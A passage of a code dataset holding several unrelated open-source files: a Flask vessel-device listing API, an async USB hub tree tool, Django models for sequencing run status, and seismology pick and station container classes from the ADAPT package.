self.aws3 = AwsS3()\r\n super(DeviceList, self).__init__()\r\n\r\n def get_list(self):\r\n \"\"\"\r\n This API is for Getting All Vessel Device List\r\n ---\r\n tags:\r\n - Devices\r\n produces:\r\n - application/json\r\n parameters:\r\n - name: token\r\n in: header\r\n description: Token\r\n required: true\r\n type: string\r\n - name: userid\r\n in: header\r\n description: User ID\r\n required: true\r\n type: string\r\n - name: limit\r\n in: query\r\n description: Limit\r\n required: true\r\n type: integer\r\n - name: page\r\n in: query\r\n description: Page\r\n required: true\r\n type: integer\r\n responses:\r\n 500:\r\n description: Error\r\n 200:\r\n description: Vessel Device List\r\n \"\"\"\r\n data = {}\r\n\r\n # GET DATA\r\n token = request.headers.get('token')\r\n userid = request.headers.get('userid')\r\n limit = int(request.args.get('limit'))\r\n page = int(request.args.get('page'))\r\n\r\n # CHECK TOKEN\r\n token_validation = self.validate_token(token, userid)\r\n\r\n if not token_validation:\r\n data['alert'] = \"Invalid Token\"\r\n data['status'] = 'Failed'\r\n\r\n # RETURN ALERT\r\n return self.return_data(data)\r\n\r\n # COUNT\r\n sql_str = \"SELECT COUNT(*) FROM vessel\"\r\n\r\n count = self.postgres.query_fetch_one(sql_str)\r\n total_rows = count['count']\r\n\r\n offset = int((page - 1) * limit)\r\n\r\n # DATA\r\n sql_str = \"SELECT * FROM vessel LIMIT {0} OFFSET {1} \".format(limit, offset)\r\n vessels = self.postgres.query_fetch_all(sql_str)\r\n\r\n rows = []\r\n if vessels:\r\n\r\n vessel_ids = [x['vessel_id'] for x in vessels]\r\n\r\n for vessel_id in vessel_ids:\r\n\r\n vessel_name = self.get_vessel_name(vessel_id)\r\n devices = self.get_vessel_devices(vessel_id)\r\n\r\n rows.append({\r\n \"vessel_id\": vessel_id,\r\n \"vessel_name\": vessel_name,\r\n \"devices\": devices\r\n })\r\n\r\n total_page = int(math.ceil(int(total_rows - 1) / limit)) + 1\r\n\r\n data['data'] = rows\r\n data['total_page'] = total_page\r\n data['limit'] = int(limit)\r\n data['page'] = int(page)\r\n data['total_rows'] = total_rows\r\n data['status'] = 'ok'\r\n\r\n return self.return_data(data)\r\n\r\n def get_vessel_name(self, vessel_id):\r\n \"\"\" Return Vessel Name \"\"\"\r\n\r\n assert vessel_id, \"Vessel ID is required.\"\r\n values = self.couch_query.get_complete_values(\r\n vessel_id,\r\n \"PARAMETERS\"\r\n )\r\n\r\n if values:\r\n vessel_name = values['PARAMETERS']['INFO']['VESSELNAME']\r\n else:\r\n\r\n sql_str = \"SELECT vessel_name FROM vessel WHERE vessel_id='{0}'\".format(vessel_id)\r\n vname = self.postgres.query_fetch_one(sql_str)\r\n vessel_name = \"\"\r\n if vname:\r\n vessel_name = vname['vessel_name']\r\n\r\n return vessel_name\r\n\r\n def get_vessel_devices(self, vessel_id):\r\n \"\"\" Return Vessel Devices \"\"\"\r\n assert vessel_id, \"Vessel ID is required.\"\r\n\r\n sql_str = \"SELECT device_id, device FROM device\"\r\n sql_str += \" WHERE vessel_id = '{0}'\".format(vessel_id)\r\n sql_str += \" AND device NOT IN ('PARAMETERS', 'COREVALUES',\"\r\n sql_str += \" 'FAILOVER', 'NTWCONF', 'NTWPERF1')\"\r\n\r\n devices = self.postgres.query_fetch_all(sql_str)\r\n\r\n if devices:\r\n for device in devices:\r\n device['image_url'] = self.aws3.get_device_image(vessel_id,\r\n device['device_id'])\r\n return devices\r\n", "repo_name": "gbf-labs/rh-api", "sub_path": "controllers/device/device_list.py", "file_name": "device_list.py", "file_ext": "py", "file_size_in_byte": 4505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "library.common.Common", "line_number": 10, "usage_type": "name"}, {"api_name": "library.postgresql_queries.PostgreSQL", "line_number": 16, "usage_type": "call"}, {"api_name": "library.couch_queries.Queries", "line_number": 17, "usage_type": "call"}, {"api_name": "library.aws_s3.AwsS3", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 102, "usage_type": "call"}]} {"seq_id": "23190747467", "text": "from .. import *\nimport usb1\nimport asyncio\nfrom ..util.hub import *\n\nasync def device_dump(device):\n pfx = \" \" * len(device.ports)\n \n try:\n handle = device.open()\n except:\n return\n\n try:\n product = device.product\n manufacturer = device.manufacturer\n except:\n product = \"\"\n manufacturer = \"\"\n\n print(\"%s%04x:%04x %s %s\" % (\n pfx,\n device.vendor_id, device.product_id,\n manufacturer, product))\n\n if device.classes != (9, 0):\n return\n\n try:\n hub = await Hub.create(handle)\n except NotImplementedError:\n return\n\n ps, _ = await hub.status_get()\n print(\"%s Hub Status %s\" % (pfx, ps))\n\n for port in hub:\n ps, _ = await port.status_get()\n print(\"%s * Port %d (%s) %s\" % (pfx, port.index, \"removable\" if port.removable else \"fixed\", ps))\n\n try:\n child = device.context.device_get(ports = port.ports, bus = device.bus)\n except ValueError:\n continue\n\n await device_dump(child)\n\nasync def ausb_list(loop):\n c = Context(loop)\n for d in sorted(c.device_filter(ports = []), key = lambda x:x.bus):\n if d.port:\n continue\n await device_dump(d)\n\nif __name__ == \"__main__\":\n loop = asyncio.get_event_loop()\n t = loop.create_task(ausb_list(loop))\n loop.run_until_complete(t)\n", "repo_name": "nipo/ausb", "sub_path": "ausb/tool/tree.py", "file_name": "tree.py", "file_ext": "py", "file_size_in_byte": 1381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "asyncio.get_event_loop", "line_number": 56, "usage_type": "call"}]} {"seq_id": "28400637098", "text": "from django.core.urlresolvers import reverse\nfrom django.db import models\n\n\nclass RunManager(models.Manager):\n def create_from_json(self, machine_name, run_info):\n if not run_info[\"end\"]: # convert empty string to NULL\n end_date = None\n else:\n end_date = run_info[\"end\"]\n run = Run.objects.create(machine_name=machine_name,\n run_number=run_info[\"runnum\"],\n run_directory=run_info[\"name\"],\n start_date=run_info[\"start\"],\n end_date=end_date,\n current_cycle=run_info[\"curcycle\"],\n total_cycles=run_info[\"cycles\"],\n aborted=run_info[\"aborted\"],)\n run.update(run_info)\n\n\nclass Run(models.Model):\n machine_name = models.CharField(max_length=256)\n run_number = models.IntegerField(null=True)\n run_directory = models.CharField(max_length=256)\n start_date = models.DateField()\n end_date = models.DateField(null=True)\n current_cycle = models.IntegerField(default=0)\n total_cycles = models.IntegerField(default=0)\n aborted = models.BooleanField()\n\n objects = RunManager()\n\n class Meta:\n permissions = (\n (\"view_run\", \"Can view the run status dashboard\"),\n )\n\n def __unicode__(self):\n return self.run_directory\n\n def get_absolute_url(self):\n return reverse(\"run_status:run_status\", args=(self.machine_name,))\n\n @property\n def name(self):\n return self.run_directory\n\n @property\n def sample_sheets(self):\n return self.samplesheet_set.all()\n\n def update(self, run_info):\n needs_save = False\n if not self.end_date and run_info[\"end\"]:\n self.end_date = run_info[\"end\"]\n needs_save = True\n if not self.run_number and run_info[\"runnum\"]:\n self.run_number = run_info[\"runnum\"]\n needs_save = True\n if not self.aborted and run_info[\"aborted\"]:\n self.aborted = run_info[\"aborted\"]\n needs_save = True\n if self.current_cycle != self.total_cycles:\n self.current_cycle = run_info[\"curcycle\"]\n needs_save = True\n if needs_save:\n self.save()\n for sample_sheet_name, sample_sheet_info in run_info[\"csvs\"].items():\n try:\n sample_sheet = SampleSheet.objects.get(name=sample_sheet_name,\n run=self)\n except SampleSheet.DoesNotExist:\n sample_sheet = \\\n SampleSheet.objects.create(name=sample_sheet_name,\n run=self)\n sample_sheet.update(sample_sheet_info)\n\n\nclass SampleSheet(models.Model):\n name = models.CharField(max_length=256)\n run = models.ForeignKey(Run)\n\n def __unicode__(self):\n return self.name\n\n def get_absolute_url(self):\n return self.run.get_absolute_url()\n\n @property\n def projects(self):\n return self.project_set.all()\n\n def update(self, sample_sheet_info):\n for project_name, project_info in sample_sheet_info.items():\n try:\n project = Project.objects.get(name=project_name,\n sample_sheet=self)\n except Project.DoesNotExist:\n project = Project.objects.create(name=project_name,\n sample_sheet=self,\n fastq_ready=project_info[\"fastqready\"])\n project.update(project_info)\n\n\nclass Project(models.Model):\n name = models.CharField(max_length=256)\n sample_sheet = models.ForeignKey(SampleSheet)\n fastq_ready = models.BooleanField()\n\n def __unicode__(self):\n return self.name\n\n def get_absolute_url(self):\n return self.sample_sheet.run.get_absolute_url()\n\n @property\n def samples(self):\n return self.sample_set.all()\n\n def update(self, project_info):\n if not self.fastq_ready and project_info[\"fastqready\"]:\n self.fastq_ready = True\n self.save()\n for sample_name, sample_info in project_info[\"samples\"].items():\n try:\n sample = Sample.objects.get(name=sample_name, project=self)\n except Sample.DoesNotExist:\n sample = Sample.objects.create(name=sample_name,\n project=self,\n reads=sample_info[\"reads\"],\n lanes=\",\".join(sample_info[\"lanes\"]))\n sample.update(sample_info)\n\n \nclass Sample(models.Model):\n name = models.CharField(max_length=256)\n project = models.ForeignKey(Project)\n reads = models.IntegerField(null=True)\n lanes = models.CommaSeparatedIntegerField(max_length=32)\n\n def __unicode__(self):\n return self.name\n\n def get_absolute_url(self):\n return self.project.sample_sheet.run.get_absolute_url()\n\n def update(self, sample_info):\n if not self.reads and sample_info[\"reads\"]:\n self.reads = sample_info[\"reads\"]\n self.save()\n", "repo_name": "mdschramm/dashboardngs", "sub_path": "pbg/apps/runstatus/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 5009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.models.Manager", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 5, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 80, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 106, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 106, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 107, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 107, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 108, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 109, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 109, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 136, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 136, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 137, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 138, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 138, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 139, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 139, "usage_type": "name"}, {"api_name": "django.db.models.CommaSeparatedIntegerField", "line_number": 140, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 140, "usage_type": "name"}]} {"seq_id": "37876135255", "text": "import os\nimport logging\nimport glob\nimport re\nimport pickle\nimport copy\n#\nimport adapt.utils as QU\nimport adapt.errors as QE\nfrom obspy import read_inventory\nfrom obspy.core.util.attribdict import AttribDict\nfrom collections import OrderedDict\n\nlogger = logging.getLogger(__name__)\n\n\"\"\"ADAPT main database module\n\nThis module contains all the main and necessary container classes\nthat let this library works.\nBriefly it contains:\n - PickContainer class to store all the picks infos\n - StatContainer class to store all the stations information\n - StatContainer_Event class to store the station event metadata\n\n\"\"\"\n\n# --------------------------------------------- Main Class\n\n\nclass PickContainer(OrderedDict):\n \"\"\"Main class to internally store all picks informations\n\n Note:\n In this class REFERENCE and PREDICTED picks list\n must be only 1 element long !!! (or at least the same repeated)\n \"\"\"\n def __init__(self, eqid, eqtag, dicttag):\n super().__init__()\n self.eqid = eqid\n self.type = eqtag.lower()\n self.tag = dicttag.upper()\n self.pickdict_keys = ('polarity', # (adapt.picks.polarity.Polarizer/None)\n 'onset', # (str/None)\n 'weight', # (adapt.picks.weight.Weighter/None)\n 'pickerror', # (float/None)\n 'pickclass', # (int/None)\n 'pickpolar', # (str/None)\n 'evaluate', # (bool/None)\n 'evaluate_obj', # (adapt.picks.evaluation.Gandalf/None)\n 'features', # (dict/None)\n 'features_obj', # (adapt.picks.featuring.Miner/None)\n 'outlier', # (bool/None)\n 'phaser_obj', # (adapt.picks.phaser.Spock/None)\n 'boot_obj', # (adapt.picks.weight.Bootstrap/None)\n 'timeUTC_pick', # (UTCDateTime/None)\n 'timeUTC_early', # (UTCDateTime/None)\n 'timeUTC_late', # (UTCDateTime/None)\n 'backup_picktime', # (UTCDateTime/None)\n 'general_infos'\n )\n\n # The next Method has been added to let load/store with pickle\n # modules. Full answer at:\n # https://stackoverflow.com/questions/45860040/pickling-a-subclass-of-an-ordereddict\n # https://stackoverflow.com/questions/6190331/can-i-do-an-ordered-default-dict-in-python\n def __reduce__(self):\n \"\"\"\n In order to be able to pickle object we need to override\n the __reduce__ method.\n\n OrderedDict.__reduce__ returns a 5 tuple\n the FIRST and last can be kept\n the FOURTH is None and needs to stay None\n the SECOND is a tuple containing UserInput argument in __init__\n\n *** NB the internal attributes are saved anyway, only custom\n ones needs to be stored properly\n \"\"\"\n state = super().__reduce__()\n myargs = (self.eqid, self.type, self.tag)\n return (state[0], myargs, None, None, state[4])\n\n def copy(self):\n return copy.deepcopy(self)\n\n def getStats(self, **kwargs):\n \"\"\"\n Class method to extract the station names\n keys contained in the object.\n\n Return a string list\n \"\"\"\n return self.keys()\n\n def getStatPick(self, stat, **kwargs):\n \"\"\"\n This small method return all the phase definition contained\n in the class for a given STAT name\n\n RETURN: list\n \"\"\"\n return self[stat].keys()\n\n def getMatchingPick(self, stat, picktag, indexnum=0):\n \"\"\"\n This method let query the dict keys with regexp.\n It returns a dictionary.\n\n This method is called in main, and statistic.py\n\n REFERENCE:\n - https://stackoverflow.com/questions/21024822/python-accessing-dictionary-with-wildcards\n \"\"\"\n outlist = []\n regexp = re.compile(picktag)\n try:\n for key in self[stat].keys():\n if regexp.search(key):\n try:\n outlist.append((key, self[stat][key][indexnum]))\n except IndexError:\n logger.error(\"Index number out of bounds! MAX: %d\" %\n (len(self[stat][key])-1))\n raise QE.CheckError()\n except KeyError:\n logger.error(\"Missing station key! %s\" % stat)\n raise QE.MissingVariable()\n #\n return outlist\n\n def addStat(self, stat, statdict,\n overwrite_stat=False,\n overwrite_phase=False):\n \"\"\"\n Class method to add the station names\n keys and relative phase picks information.\n\n At the moment the class is structured\n that each phase name is a list of dict,\n containing all the possible picks with a\n certain tag.\n\n STATION={'PHASENAME'=[\n {'polarity': (str/None)\n 'onset': (str/None)\n 'weight': (float/None)\n 'pickclass': (int/None)\n 'timeUTC_pick': (UTCDateTime/None)\n 'timeUTC_early': (UTCDateTime/None)\n 'timeUTC_late': (UTCDateTime/None)\n }, ...\n ]\n }\n \"\"\"\n if stat not in self.keys() or overwrite_stat:\n self[stat] = {}\n #\n if not overwrite_phase:\n for phasename in statdict.keys():\n for pp in statdict[phasename]: # because it's a list\n self.addPick(stat, phasename, **pp)\n\n elif overwrite_phase:\n for phasename in statdict.keys():\n if phasename in self[stat].keys():\n del self[stat][phasename]\n for pp in statdict[phasename]: # because it's a list\n self.addPick(stat, phasename, **pp)\n else:\n logger.error(\"Something wrong with the overwrite_phase param.!\")\n return False\n\n return True\n\n def addPick(self, stat, phsnm, **pckdct):\n \"\"\"\n Method to automatically add a phasename\n or pick information\n\n :pckdct:\n\n RETURN (bool)\n \"\"\"\n try:\n refpckdct = self.checkpickdict(pckdct)\n except TypeError:\n return False\n #\n if stat not in self.keys(): # station doesn't exist\n self[stat] = {}\n self[stat][phsnm] = [refpckdct]\n else: # station exist\n if phsnm not in self[stat].keys():\n self[stat][phsnm] = [refpckdct]\n else:\n self[stat][phsnm].append(refpckdct)\n return True\n\n def checkpickdict(self, pickdict):\n \"\"\"\n This `private` method double-checks that all keys defined\n are used and default to `None` eventually.\n\n *** NB: Maybe add a double check also for the type requested\n \"\"\"\n if not isinstance(pickdict, dict):\n logger.write(\"Expected a dict! %s given instead\" % type(pickdict))\n raise TypeError\n #\n outdict = {}\n in_keys = pickdict.keys()\n for kk in self.pickdict_keys:\n if kk not in in_keys:\n outdict[kk] = None\n else:\n outdict[kk] = pickdict[kk]\n return outdict\n\n def store2disk(self, pathfn):\n \"\"\"\n This method should be able to store the object\n with pickle library.\n\n *** NB! it would override previously saved obj.\n \"\"\"\n with open(pathfn, 'wb') as OUT:\n pickle.dump(self, OUT, pickle.HIGHEST_PROTOCOL)\n return True\n\n def merge_container(self,\n pick_container,\n check_eqid=True,\n overwrite_stat=False,\n overwrite_phase=False):\n \"\"\"Merge the picks from two different PickContainer\n\n This method merge two instances of PickContainer.\n\n Args:\n pick_container (str, PickContainer): file path or\n object to append/merge\n check_id (bool): compare the eqid to before merging\n\n \"\"\"\n if isinstance(pick_container, str):\n pckcnt_add = QU.loadPickleObj(pick_container)\n else:\n pckcnt_add = pick_container\n #\n if check_eqid:\n if pckcnt_add.eqid.lower() != self.eqid.lower():\n logger.error(\"EQIDs don't match, abort merging!\")\n return False\n # def addStat(self, stat, statdict, overwrite_stat=False):\n for ss, ssdct in pckcnt_add.items():\n self.addStat(ss, ssdct,\n overwrite_stat=overwrite_stat,\n overwrite_phase=overwrite_phase)\n #\n return True\n\n def quick_stats(self):\n \"\"\"Simply count occurence of phase-names and classes\n\n It should be handy for VELEST CNV objects\n\n \"\"\"\n def __init_phase_stat():\n _dd = {}\n _dd['counts'] = 0\n for _nc in ('0', '1', '2', '3', '4', '5'):\n _dd[_nc] = 0\n return _dd\n\n # ---\n stats = {}\n #\n for ss, phdct in self.items():\n for phn, phnlist in self[ss].items():\n if phn not in stats.keys():\n stats[phn] = __init_phase_stat()\n for xx in phnlist:\n # Single-Obs finally\n stats[phn]['counts'] += 1\n stats[phn][str(xx['pickclass'])] += 1\n return stats\n\n def delete_pick(self, stat, phname, phidx):\n \"\"\" Remove precise obs \"\"\"\n try:\n del self[stat][phname][phidx]\n except (KeyError, IndexError):\n logger.warning(\"No match found for: %s - %s - %d\" %\n (stat, phname, phidx))\n\n def delete_empty_station(self):\n \"\"\" Remove empty station entry \"\"\"\n\n # --- Remove Empty phase if found\n remlst = []\n for _ss, _ppd in self.items():\n for _ppnm, _pplst in _ppd.items():\n if len(_pplst) == 0:\n remlst.append((_ss, _ppnm))\n\n for _kill in remlst:\n del self[_kill[0]][_kill[1]]\n\n # --- Remove Empty station if left\n remlst = []\n for _ss, _ppd in self.items():\n if not _ppd:\n remlst.append(_ss)\n for _kill in remlst:\n del self[_kill]\n\n def sort_by_epidist(self, evla, evlo, statDict):\n \"\"\" Still to be implemented \"\"\"\n pass\n\n @classmethod\n def from_dictionary(cls, dictobj):\n \"\"\"Factory methods for creating new instance of a PickContainer.\n\n The dictionary (DD) can be created as follow:\n - DD['eqid'] => new instance's eqid\n - DD['eqtag'] => new instance's eqtag\n - DD['dicttag'] => new instance's dicttag\n Folowed up by all the stations-values pair.\n \"\"\"\n if not isinstance(dictobj, dict):\n raise QE.InvalidType(\"I need to load a dictionary. Got a %r \"\n \"instead!\" % type(dictobj))\n #\n logger.info(\"Creating PickContainer from dictionary\")\n listofkeys = [kk.lower() for kk in dictobj.keys()]\n if \"eqid\" in listofkeys:\n eqid = dictobj.pop('eqid')\n else:\n eqid = \"unknown\"\n #\n if \"eqtag\" in listofkeys:\n eqtag = dictobj.pop('eqtag')\n else:\n eqtag = \"unknown\"\n #\n if \"dicttag\" in listofkeys:\n dicttag = dictobj.pop('dicttag')\n else:\n dicttag = \"unknown\"\n\n # Initialize\n _tmp = cls(eqid, eqtag, dicttag)\n workdict = copy.deepcopy(dictobj)\n for ss in workdict.keys():\n _tmp.addStat(ss, workdict[ss])\n return _tmp\n\n @classmethod\n def create_empty_container(cls,\n evid=\"TESTEVENT\",\n evtag=\"nothing\",\n dicttag=\"EmptyBox\"):\n \"\"\"Handy function for creating empy pickdicts.\n\n It will come useful to create 'empty boxes' during tests\n\n \"\"\"\n return cls(evid, evtag, dicttag)\n\n\nclass StatContainer(OrderedDict):\n \"\"\"\n This module serves for contain only the\n necessary station metadata information for\n the adapt framework.\n\n This class serves as a container for an INVENTORY\n fast accessible and array related.\n \"\"\"\n\n def __init__(self, source_id=None, contains=\"seismometer\", tagstr=\"info-string\"):\n super().__init__()\n self.source_id = source_id\n self.contains = contains.lower()\n self.tagstr = tagstr.upper()\n self.statdict_keys = ('fullname', # (str)\n 'alias', # (str)\n 'lat', # (float)\n 'lon', # (float)\n 'elev_m', # (float)\n 'elev_km', # (float)\n 'network', # (str)\n 'general_infos'\n )\n\n # The next Method has been added to let load/store with pickle\n # modules. Full answer at:\n # https://stackoverflow.com/questions/45860040/pickling-a-subclass-of-an-ordereddict\n # https://stackoverflow.com/questions/6190331/can-i-do-an-ordered-default-dict-in-python\n def __reduce__(self):\n \"\"\"\n In order to be able to pickle object we need to override\n the __reduce__ method.\n\n OrderedDict.__reduce__ returns a 5 tuple\n the FIRST and last can be kept\n the FOURTH is None and needs to stay None\n the SECOND is a tuple containing UserInput argument in __init__\n\n *** NB the internal attributes are saved anyway, only custom\n ones needs to be stored properly\n \"\"\"\n state = super().__reduce__()\n myargs = () # here add the list of user-input\n return (state[0], myargs, None, None, state[4])\n\n def _get_all_alias(self):\n \"\"\" DEDE \"\"\"\n alarr = []\n for _k, _d in self.items():\n try:\n alarr.append(_d['alias'])\n except KeyError:\n alarr.append(None)\n return alarr\n\n def get_names(self):\n \"\"\"Return object keys\n\n Class method to extract all the keys (station names) contained\n in the object.\n\n Returns:\n dict_keys (list): list of stations\n\n \"\"\"\n return self.keys()\n\n def get_statname_from_alias(self, instr):\n \"\"\" Return FULLNAME from ALIAS \"\"\"\n aa = [(ss, dd) for ss, dd in self.items() if dd['alias'] == str(instr)]\n if len(aa) > 1:\n raise QE.CheckError(\n \"ERROR: [ %d ] stations have the same ALIAS !!!\"\n \" %s --> %s\" % (len(aa), instr, [i[0] for i in aa]))\n #\n try:\n _ = aa[0][0]\n except IndexError:\n raise QE.CheckError(\"Missing Station ALIAS: %s\" % instr)\n #\n try:\n fn = aa[0][1]['fullname']\n except KeyError:\n raise QE.CheckError(\"Station %s has no fullname key !!!\" % instr)\n #\n return fn\n\n def get_alias(self, instr):\n \"\"\" Return the ALIAS corresponding to input STATNAME \"\"\"\n\n aa = [(ss, dd) for ss, dd in self.items()\n if dd['fullname'] == str(instr)]\n if len(aa) > 1:\n raise QE.CheckError(\n \"ERROR: [ %d ] stations have the same FULLNAME !!!\"\n \" %s --> %s\" % (len(aa), instr, [i[0] for i in aa]))\n #\n try:\n _ = aa[0][0]\n except IndexError:\n raise QE.CheckError(\"Missing Station FULLNAME: %s\" % instr)\n #\n try:\n al = aa[0][1]['alias']\n except KeyError:\n raise QE.CheckError(\"Station %s has no alias key !!!\" % instr)\n #\n return al\n\n def set_alias(self, statkey, aliasname, force=False):\n \"\"\" Add Alias to station key \"\"\"\n if len(aliasname) > 4:\n raise QE.CheckError(\"Alias must be MAX 4 chars: %s has %d\" %\n (aliasname, len(aliasname)))\n #\n if aliasname in self._get_all_alias() and not force:\n _stnm = self.get_statname_from_alias(aliasname)\n raise QE.CheckError(\"Alias already present! [ %s --> %s ]\" %\n (aliasname, _stnm))\n elif aliasname in self._get_all_alias() and force:\n _stnm = self.get_statname_from_alias(aliasname)\n logger.warning(\"Alias already present [ %s --> %s ] !!! \"\n \"But forced for station [%s]\" % (\n aliasname, _stnm, statkey))\n try:\n self[statkey]['alias'] = aliasname\n except KeyError:\n raise QE.CheckError(\"Missing Station FULLNAME: %s\" % statkey)\n #\n return True\n\n def addStat(self, stat, statdict, override=False):\n \"\"\"\n Class method to add the station names\n keys and relative phase picks information.\n\n At the moment the class is structured\n that to each station name corrispond name is a list of dict,\n containing all the possible picks with a\n certain tag.\n\n STATIONNAME={'fullname' (str),\n 'alias' (str), MAX 4 CHAR !!!\n 'network' (str),\n 'lat' (float),\n 'lon' (float),\n 'elev_m' (float)\n }\n \"\"\"\n if stat not in self.keys():\n self[stat] = {}\n self[stat] = statdict\n return True\n else:\n if override:\n # Station with same name already in ...\n logger.warning(\"Station %s already loaded, OVERRIDE\" % stat)\n self[stat] = statdict\n else:\n # Station with same name already in ...\n logger.warning(\"Station %s already loaded, SKIPPING\" % stat)\n return False\n\n def getStat(self, stat_name, is_alias=False):\n \"\"\"Return object keys\n\n Class method to extract all the keys (station names) contained\n in the object.\n\n Returns:\n dict_keys (list): list of stations\n\n \"\"\"\n if is_alias:\n return [ss for ss in self if ss['alias'] == stat_name]\n else:\n return self[stat_name]\n\n def store2disk(self, pathfn):\n \"\"\"\n This method should be able to store the object\n with pickle library.\n\n *** NB! it would override previously saved obj.\n \"\"\"\n with open(pathfn, 'wb') as OUT:\n pickle.dump(self, OUT, pickle.HIGHEST_PROTOCOL)\n return True\n\n @classmethod\n def from_dictionary(cls, dictobj):\n \"\"\"Factory methods for creating new instance of a StatContainer.\n\n The dictionary (DD) can be created as follow:\n - DD['source_id'] => new instance's id\n - DD['contains'] => new instance's contains\n - DD['tagstr'] => new instance's tagstr\n Folowed up by all the stations-values pair.\n \"\"\"\n if not isinstance(dictobj, dict):\n raise QE.InvalidType(\"I need to load a dictionary. Got a %r \"\n \"instead!\" % type(dictobj))\n #\n logger.info(\"Creating StatContainer from dictionary\")\n listofkeys = [kk.lower() for kk in dictobj.keys()]\n if \"source_id\" in listofkeys:\n source_id = dictobj.pop('source_id')\n else:\n source_id = \"unknown\"\n #\n if \"contains\" in listofkeys:\n contains = dictobj.pop('contains')\n else:\n contains = \"unknown\"\n #\n if \"tagstr\" in listofkeys:\n tagstr = dictobj.pop('tagstr')\n else:\n tagstr = \"unknown\"\n\n # Initialize\n _tmp = cls(source_id, contains, tagstr)\n workdict = copy.deepcopy(dictobj)\n for ss in workdict.keys():\n _tmp.addStat(ss, workdict[ss])\n return _tmp\n\n\nclass StatContainer_Event(OrderedDict):\n \"\"\"\n This class is made as a container for station metadata\n referred to a specific event.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.statdict_key = ('isdownloaded', # (bool)\n 'isautomatic', # (bool)\n 'isreference', # (bool)\n 'epidist', # (float/None)\n 'missingchannel', # (tuple)\n 'ispickable', # (bool)\n 'isselected', # (bool) -> if it falls inside the RADIUS\n 'automatic_picks', # list of tuple/None\n 'reference_picks', # list of tuple/None\n 'predicted_picks', # list of tuple/None\n 'bait_picks', # list of tuple/None\n 'sampling_rate', # (float/None)\n 'p_delay', # (float/None)\n 's_delay') # (float/None)\n\n # BAIT_PICKS = [(time, bk_info), ]\n # PREDICTED_PICKS = [(info, time), ]\n\n # The next Method has been added to let load/store with pickle\n # modules. Full answer at:\n # https://stackoverflow.com/questions/45860040/pickling-a-subclass-of-an-ordereddict\n # https://stackoverflow.com/questions/6190331/can-i-do-an-ordered-default-dict-in-python\n def __reduce__(self):\n \"\"\"\n In order to be able to pickle object we need to override\n the __reduce__ method.\n\n OrderedDict.__reduce__ returns a 5 tuple\n the FIRST and last can be kept\n the FOURTH is None and needs to stay None\n the SECOND is a tuple containing UserInput argument in __init__\n\n *** NB the internal attributes are saved anyway, only custom\n ones needs to be stored properly\n 